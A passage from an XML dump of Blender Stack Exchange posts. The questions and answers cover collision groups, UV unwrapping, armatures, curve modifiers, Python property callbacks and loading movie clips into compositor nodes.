mathutils.Vector(temp)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="55" LastEditDate="2015-03-27T19:51:07.970" LastActivityDate="2015-03-27T19:51:07.970" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27339" PostTypeId="2" ParentId="27335" CreationDate="2015-03-18T21:32:21.533" Score="3" Body="&lt;p&gt;You can do this with collision mask and collision group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/s23TS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These options are found in the physics panel. To fix your particular problem, select the invisible collision box for the player and put it in collision group 2. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, select the bullet and while holding &lt;kbd&gt;Shift&lt;/kbd&gt; click on the 2nd box in collision mask. This will stop the bullet from colliding with anything in collision group/layer 2.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-03-18T21:32:21.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27340" PostTypeId="2" ParentId="27337" CreationDate="2015-03-18T21:57:17.767" Score="3" Body="&lt;p&gt;At the frame before you want to switch from the &quot;follow path&quot; to rigid body, keyframe the &quot;Follow Path&quot; Constraint influence to &quot;1&quot; by hovering over the influence slider and pressing &quot;i&quot;. Then go ahead one frame and set the influence to &quot;0&quot; and keyframe the influence again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then to do the same thing on the same frames to your rigid body. (I believe the dynamic checkbox controls the rigid body the same way the influence slider would for the &quot;follow Path&quot;, but I'm not 100% sure.)&lt;/p&gt;&#xA;" OwnerUserId="530" LastActivityDate="2015-03-18T21:57:17.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27341" PostTypeId="2" ParentId="27315" CreationDate="2015-03-18T22:22:29.133" Score="3" Body="&lt;p&gt;Okay, here's how we unwrap a cube so that we don't get any whonky image output when we view the image mapped onto it.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;em&gt;Option A&lt;/em&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/m94Sw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go into edit mode, select the entire mesh, and then hit &lt;kbd&gt;U&lt;/kbd&gt; &gt; Cube projection. This is what to do if you want the same texture on every face, which is what I assume you are going for. &lt;em&gt;However!&lt;/em&gt; if this is not wht you are going for, there is always ...&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;em&gt;Option B&lt;/em&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;So who here has seen a baseball? &lt;em&gt;Raises hand&lt;/em&gt; &quot;me!..Me!&quot;&#xA;You know how those two white panels are stitched together interlockish-ly? how if you were to cut the red seams they'd &lt;em&gt;Pop&lt;/em&gt; out and you could lay them flat? That is what we do when we unwrap things, but we still need seams.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your cube were made out of paper, and you folded it to get it into a cube shape, what did the paper look like before it was folded?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like this maybe?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/857dM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, what you need to do, is select all the edges that need to be seams and &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt; E&lt;/kbd&gt; &gt; Mark Seam. this will make them BRIGHT RED!!!!&#xA;It also means that those edges are now like the seams on a baseball, and all you have to do is &lt;kbd&gt;U&lt;/kbd&gt; &gt; Unwrap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mB4Jm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-03-18T22:22:29.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27342" PostTypeId="1" CreationDate="2015-03-18T22:47:09.550" Score="1" ViewCount="64" Body="&lt;p&gt;I am attempting to render an image but only the white plane that I am using in the background will render.&lt;/p&gt;&#xA;" OwnerUserId="13246" LastActivityDate="2015-03-18T22:47:09.550" Title="Objects in blender won't render" Tags="&lt;rendering&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2015-03-18T23:59:23.013" ContentLicense="CC BY-SA 3.0" />
  <row Id="27343" PostTypeId="2" ParentId="27315" CreationDate="2015-03-18T23:04:33.573" Score="1" Body="&lt;p&gt;Sincerely I don't quite understand what is your problem. Some screenshots would greatly help to understand what you ment. But. If your result is something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U3g4n.jpg&quot; alt=&quot;result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you have a new cube in the same position as the old one. Just select it and press G to grab and move it to a new place. You don't really need to unwrap it if your texture is procedural like &quot;Clouds&quot; from tutorial.&lt;/p&gt;&#xA;" OwnerUserId="7531" LastActivityDate="2015-03-18T23:04:33.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27344" PostTypeId="2" ParentId="27292" CreationDate="2015-03-18T23:09:05.340" Score="4" Body="&lt;p&gt;To reply here as well just in case others are looking for the same thing, you can achieve the same fake reflection effect with the following node setup:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/r9jvF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3558" LastActivityDate="2015-03-18T23:09:05.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27347" PostTypeId="1" AcceptedAnswerId="27349" CreationDate="2015-03-19T03:11:42.343" Score="0" ViewCount="118" Body="&lt;p&gt;I tried to redo normals, but this doesn't seem to be the issue here. When imported to Unreal the different colored items have missing polies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x3Fqu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13180" LastActivityDate="2015-03-19T03:49:02.030" Title="Why are part of my model differently colored?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2015-03-19T04:14:03.257" ContentLicense="CC BY-SA 3.0" />
  <row Id="27348" PostTypeId="2" ParentId="27308" CreationDate="2015-03-19T03:47:02.500" Score="0" Body="&lt;p&gt;The Visibility toggles for viewport and rendering allow you to control the resolution of a model based on what you see on the screen vs. what will be rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can click on or drag across the camera and eye icons to enable/disable visibility of Modifiers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the Subdivision and Multi-res Modifiers, there are also controls for changing what subdivision level will be used for either of the view modes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1Tntf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2015-03-19T03:47:02.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27349" PostTypeId="2" ParentId="27347" CreationDate="2015-03-19T03:49:02.030" Score="0" Body="&lt;p&gt;easy, recalculate the normals of the oddly colored area of the model. the normals look like they have been reversed.&lt;/p&gt;&#xA;" OwnerUserId="13251" LastActivityDate="2015-03-19T03:49:02.030" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27350" PostTypeId="1" CreationDate="2015-03-19T03:49:36.573" Score="2" ViewCount="293" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WQMeR.jpg&quot; alt=&quot;enter image description here&quot;&gt;How do I create grooves which have a certain shape and follow a round edge? In this example I draw a handle of a coffee mug, and I want the yellow area of the handle to be scooped out of the cylindrical handle, while following the direction of the handle. I am in cycles render.&lt;/p&gt;&#xA;" OwnerUserId="11502" LastActivityDate="2015-03-19T05:02:50.803" Title="How do I create grooves which have a certain shape and follow a round edge?" Tags="&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27351" PostTypeId="2" ParentId="27315" CreationDate="2015-03-19T03:52:05.683" Score="0" Body="&lt;p&gt;Just to add to @A Radish's answer.&#xA;You can also unwrap a cube in a T shape without seams by unwrapping and using &lt;strong&gt;follow active quads&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In edit mode first select a face then select the rest of the faces with &lt;strong&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;/strong&gt;. Then just press &lt;kbd&gt;U&lt;/kbd&gt; and select follow active quads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oI2Yk.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-03-19T03:52:05.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27352" PostTypeId="2" ParentId="27287" CreationDate="2015-03-19T04:21:47.967" Score="2" Body="&lt;p&gt;I figured it out. You just have to use &lt;a href=&quot;https://www.youtube.com/watch?v=B9iL1hmJXrI&quot; rel=&quot;nofollow&quot;&gt;armatures&lt;/a&gt;. What this means is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;create an armature from the create menu &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;position the bones in the Edit mode.&lt;/li&gt;&#xA;&lt;li&gt;switch to the pose mode, &lt;kbd&gt;shift&lt;/kbd&gt;+&lt;kbd&gt;RMB&lt;/kbd&gt; click on each object and its corresponding bone.&lt;/li&gt;&#xA;&lt;li&gt;press &lt;kbd&gt;P&lt;/kbd&gt; to connect them using &quot;bone&quot; from the parent menu. &lt;/li&gt;&#xA;&lt;li&gt;finally animate the entire armature. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13250" LastEditorUserId="5113" LastEditDate="2015-03-19T14:24:23.310" LastActivityDate="2015-03-19T14:24:23.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27353" PostTypeId="2" ParentId="27350" CreationDate="2015-03-19T05:02:50.803" Score="2" Body="&lt;p&gt;Starting with a cylinder add a bevel modifier to create the basic shape:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oyGP3.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/suKR5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Repeat that shape with an array modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/A1n3z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the same place as your object (it is important that the origins of both objects are in the same place). Add a bézier curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8KHPt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AThql.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit the curve so it has the shape you want for the handle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aFiHo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now select the Cylinder and add a curve modifier to the modifiers stack. Select your curve as curve object, select the axis in which you want the deformation (in this case is the Z axis). You might need to adjust the count number on the array modifier or you may need to slide the object along the curve on the z axis for the object to fit properly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/py89d.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0ReF6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EKkXW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The beauty of using modifiers is that you can keep editing the shape of the curve or the array that forms the handle. The changes will not be permanent until you apply the modifiers.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-03-19T05:02:50.803" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27354" PostTypeId="2" ParentId="27308" CreationDate="2015-03-19T05:34:43.500" Score="8" Body="&lt;p&gt;A method often used for rigged characters is to setup two groups, one containing the low-res objects and another containing the hi-res objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When linking a model from another blend file you select the group and Dupli-Group will be used, with a simple switch between low and hi res being made in the Duplication settings of the object properties. This method can swap the many related objects belonging to a group all in one go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cWp1V.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could setup a &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_0/bpy.app.handlers.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;pre and post render handler&lt;/a&gt; to swap these groups automatically.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.object.dupli_group = bpy.data.groups[&quot;quadbot_bridge_lo&quot;]&#xA;bpy.context.object.dupli_group = bpy.data.groups[&quot;quadbot_bridge_hi&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To experiment and learn how this works you could try the &lt;a href=&quot;https://cgcookie.com/resource/cg-cookie-flex-rig/&quot; rel=&quot;nofollow noreferrer&quot;&gt;CGCookie FlexRig&lt;/a&gt; which uses this technique. This was also used in Sintel and Tears of Steal if you have a copy of those data files.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="25" LastEditDate="2015-11-22T21:19:11.247" LastActivityDate="2015-11-22T21:19:11.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27355" PostTypeId="2" ParentId="27326" CreationDate="2015-03-19T06:04:11.557" Score="8" Body="&lt;p&gt;Starting in edit mode you want to delete all faces from the mesh object &lt;kbd&gt;X&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9LPWY.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then convert the mesh to a curve &lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Es12R.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that you have a curve object you can add any bevel shape you want to it by editing a new curve object to the shape and set it as the bevel object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bDRiA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you may notice in that screenshot, the curve from mesh object may need some cleanup. A mesh object can branch out many time from one vertex where a curve is one continuous line, this can leave &quot;loose ends&quot; in the generated curve.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-03-19T06:04:11.557" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27356" PostTypeId="1" CreationDate="2015-03-19T08:34:21.057" Score="0" ViewCount="389" Body="&lt;p&gt;I am having a problem wrapping my high-poly normal map onto my low-poly mesh. It seems that the coordinates of my normal map are not correct or distorted. I baked them exactly on top of each other, set UV as my mapping coordinates, and did all the necessary procedures for baking a high to low-poly normal map. On the left is my high-poly mesh and on the right is my low-poly mesh. What is causing this problem?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/plqPA.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="13254" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-03-19T11:31:32.060" Title="High-poly normal map wrapping unevenly onto low-poly mesh" Tags="&lt;cycles-render-engine&gt;&lt;uv&gt;&lt;image&gt;&lt;texture-baking&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27357" PostTypeId="2" ParentId="21073" CreationDate="2015-03-19T09:04:28.503" Score="1" Body="&lt;p&gt;In order to do exactly that and not quickly toggle back to windowed, with a keyboard sensor named &lt;code&gt;keyboard&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bge import render&#xA;def fullScreenMode(cont):&#xA;    if cont.sensors[&quot;keyboard&quot;].getKeyStatus(events.F11KEY) == logic.KX_INPUT_ACTIVE:&#xA;        if render.getFullScreen() == False:&#xA;            render.setFullScreen(True)&#xA;        else:&#xA;            render.setFullScreen(False)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1608" LastEditorUserId="1608" LastEditDate="2015-03-19T19:38:37.643" LastActivityDate="2015-03-19T19:38:37.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27359" PostTypeId="2" ParentId="7895" CreationDate="2015-03-19T11:03:28.957" Score="0" Body="&lt;p&gt;Yes, this is possible. You can use this trick to get the rendered pixels:&#xA;&lt;a href=&quot;https://blender.stackexchange.com/a/23309/13212&quot;&gt;https://blender.stackexchange.com/a/23309/13212&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, instead of connecting the &lt;em&gt;image&lt;/em&gt; output of the &lt;em&gt;Render Layers&lt;/em&gt; to the &lt;em&gt;Viewer&lt;/em&gt;'s &lt;em&gt;Image&lt;/em&gt; input, you can connect the &lt;em&gt;Z&lt;/em&gt; output of the &lt;em&gt;Render Layers&lt;/em&gt;. This will give you the depth pixels for each pixel four times (in each color channel)&lt;/p&gt;&#xA;" OwnerUserId="13212" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-03-19T11:03:28.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27360" PostTypeId="1" AcceptedAnswerId="27364" CreationDate="2015-03-19T11:28:13.590" Score="1" ViewCount="481" Body="&lt;p&gt;How to create a &quot;CompositorNodeMovieClip&quot; node and load a video using the python api in the node editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My progress so far...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.scene.use_nodes = True &#xA;nodes = bpy.data.scenes['Scene'].node_tree.nodes &#xA;links = bpy.data.scenes['Scene'].node_tree.links # create the movieclip node &#xA;movieClipNode = nodes.new(&quot;CompositorNodeMovieClip&quot;) # get the video clip &#xA;videoClip = bpy.data.movieclips.get( videoPath ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but videoClip is returned as null..&lt;/p&gt;&#xA;" OwnerUserId="280" LastEditorUserId="241" LastEditDate="2015-03-19T13:06:17.397" LastActivityDate="2015-03-19T13:06:17.397" Title="How to load a video in a MovieClip node" Tags="&lt;python&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27361" PostTypeId="1" AcceptedAnswerId="27362" CreationDate="2015-03-19T11:40:08.620" Score="2" ViewCount="606" Body="&lt;p&gt;When I create some property in object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.Object.my_prop = bpy.props.IntProperty(name=&quot;MyProp&quot;,&#xA;    default=-1,&#xA;    description=&quot;My Property&quot;&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I set the value of this property e.g.: &lt;code&gt;bpy.context.active_object.my_prop = 10&lt;/code&gt;, then duplicated object will have copied value of original object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way how to force to use default value (-1) of property in duplicated object?&lt;/p&gt;&#xA;" OwnerUserId="6164" LastActivityDate="2015-03-20T07:22:02.183" Title="Duplicating object and default value of property" Tags="&lt;python&gt;&lt;objects&gt;&lt;properties&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27362" PostTypeId="2" ParentId="27361" CreationDate="2015-03-19T11:40:08.620" Score="1" Body="&lt;p&gt;Each property can have callback functions: &lt;code&gt;update()&lt;/code&gt;, &lt;code&gt;set()&lt;/code&gt;, &lt;code&gt;get()&lt;/code&gt; and &lt;code&gt;get()&lt;/code&gt;, &lt;code&gt;set()&lt;/code&gt; callback functions allows force to use default value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;values = {}&#xA;&#xA;def cb_get(self):&#xA;    try:&#xA;        value = values[self.name]&#xA;    except KeyError:&#xA;        value = -1 # default value&#xA;    return value&#xA;&#xA;def cb_set(self, value):&#xA;    values[self.name] = value&#xA;    return None&#xA;&#xA;bpy.types.Object.my_prop = bpy.props.IntProperty(name=&quot;MyProp&quot;,&#xA;    description=&quot;My Property&quot;,&#xA;    get=cb_get,&#xA;    set=cb_set&#xA;    )&#xA;&#xA;print(bpy.context.active_object.my_prop)&#xA;bpy.context.active_object.my_prop = 10&#xA;print(bpy.context.active_object.my_prop)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example with more explanation can be found in this gist:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/jirihnidek/2e5218dd8bf06787e538&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/jirihnidek/2e5218dd8bf06787e538&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Reloading blend file using previous concept is risky (look at comments). Following solution tries to fix problems with reloading blend file.&#xA;    import bpy&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def cb_get(self):&#xA;    if self.name != self.name_:&#xA;        self.name_ = self.name&#xA;        self.my_prop_ = -1 # default value&#xA;    return self.my_prop_&#xA;&#xA;def cb_set(self, value):&#xA;    self.my_prop_ = value&#xA;    return None&#xA;&#xA;bpy.types.Object.my_prop_ = bpy.props.IntProperty(name=&quot;MySecretProp&quot;,&#xA;    default=-1,&#xA;    description=&quot;My Secret Property&quot;,&#xA;    options={'HIDDEN'}&#xA;    )&#xA;&#xA;bpy.types.Object.name_ = bpy.props.StringProperty(name=&quot;SecretName&quot;,&#xA;    default=&quot;&quot;,&#xA;    description=&quot;Expected name of object storing properties&quot;,&#xA;    options={'HIDDEN'}&#xA;    )&#xA;&#xA;bpy.types.Object.my_prop = bpy.props.IntProperty(name=&quot;MyProp&quot;,&#xA;    description=&quot;My Property&quot;,&#xA;    update=cb_update,&#xA;    get=cb_get,&#xA;    set=cb_set&#xA;    )&#xA;&#xA;print(bpy.context.active_object.my_prop)&#xA;bpy.context.active_object.my_prop = 10&#xA;print(bpy.context.active_object.my_prop)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6164" LastEditorUserId="6164" LastEditDate="2015-03-20T07:22:02.183" LastActivityDate="2015-03-20T07:22:02.183" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27364" PostTypeId="2" ParentId="27360" CreationDate="2015-03-19T12:01:10.420" Score="2" Body="&lt;p&gt;you are using incorrect key , the key is the name of the movie clip &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#load new movie clip&#xA;bpy.data.movieclips.load(clip_path)&#xA;#get the new movie clip&#xA;movie_clip = bpy.data.movieclips.get(clip_name)&#xA;#assign movie clip to the node&#xA;bpy.context.scene.node_tree.nodes['Movie Clip'].clip = movie_clip&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-19T12:01:10.420" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27366" PostTypeId="1" AcceptedAnswerId="27370" CreationDate="2015-03-19T13:10:15.343" Score="3" ViewCount="654" Body="&lt;p&gt;How can I model this irregular curved torus shape that is in the back of this dolly? I know how to cut apart a torus but I think what I need is for a torus to be extruded along a curve line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/naakxVN.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Iv8aL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ovY1O.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6351" LastEditorUserId="2217" LastEditDate="2016-03-01T18:47:08.377" LastActivityDate="2016-03-01T18:47:08.377" Title="How to model an irregular object made of tubes?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27367" PostTypeId="1" AcceptedAnswerId="27368" CreationDate="2015-03-19T13:33:28.670" Score="3" ViewCount="615" Body="&lt;p&gt;I'm coming from (a long time ago) 3dsMax. It had this really handy ability to provide transform helpers and you could select parts of them. For example the translate helper was an XYZ &quot;cross&quot; with colors, and you could click and drag the XY plane for example to constrain movement there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've noticed that blender doesn't have these, so moving edges about when preparing to extrude can be quite difficult, is there a better way?&lt;/p&gt;&#xA;" OwnerUserId="13256" LastEditorUserId="2217" LastEditDate="2015-03-19T18:24:51.823" LastActivityDate="2015-03-19T18:24:51.823" Title="Translate/Rotate/Scale helpers" Tags="&lt;modeling&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27368" PostTypeId="2" ParentId="27367" CreationDate="2015-03-19T13:54:07.557" Score="4" Body="&lt;p&gt;you have many options for transformation manupilatoion :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Keyboard :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;press  &lt;kbd&gt;G&lt;/kbd&gt; or &lt;kbd&gt;S&lt;/kbd&gt; or &lt;kbd&gt;R&lt;/kbd&gt; for translation, scale and rotation &lt;/li&gt;&#xA;&lt;li&gt;chose the axis constraint &lt;kbd&gt;X&lt;/kbd&gt; or &lt;kbd&gt;Y&lt;/kbd&gt; or &lt;kbd&gt;Z&lt;/kbd&gt; to limit the transformation on that axis&lt;/li&gt;&#xA;&lt;li&gt;to limit the transformation to a plane you simply exclude the remaining axis, ex: to move on the XY plane press &lt;kbd&gt;G&lt;/kbd&gt; than &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Mouse :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;select the appropriate manipulator in the 3D view &lt;/li&gt;&#xA;&lt;li&gt;click and drag along any axis&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/t9xSg.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;while holding the object you can trigger the axis constraint by midle mouse click and rotating to that axis :&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gLW7A.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-03-19T14:00:05.560" LastActivityDate="2015-03-19T14:00:05.560" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27369" PostTypeId="1" CreationDate="2015-03-19T14:04:43.107" Score="0" ViewCount="191" Body="&lt;p&gt;I have a python scripts that creates around 3000 objects (cylinder). Each of one has assigned an image in one for the faces of the object. Each image is different (cannot be reproduced with procedural textures). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I render the scene (cycles), it shows this message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ImageManager::add_image: byte image limit reached 1024, skipping ...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Only 1024 images out of ~3000 are shown, the rest are discarded. Each image (jpg) is ~4KB. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to solve this (using blender python API)? I am running Blender 2.73.&lt;/p&gt;&#xA;" OwnerUserId="13263" LastEditorUserId="2217" LastEditDate="2015-03-19T15:21:28.290" LastActivityDate="2015-03-19T15:21:28.290" Title="Thousands images as textures (byte image limit reached)" 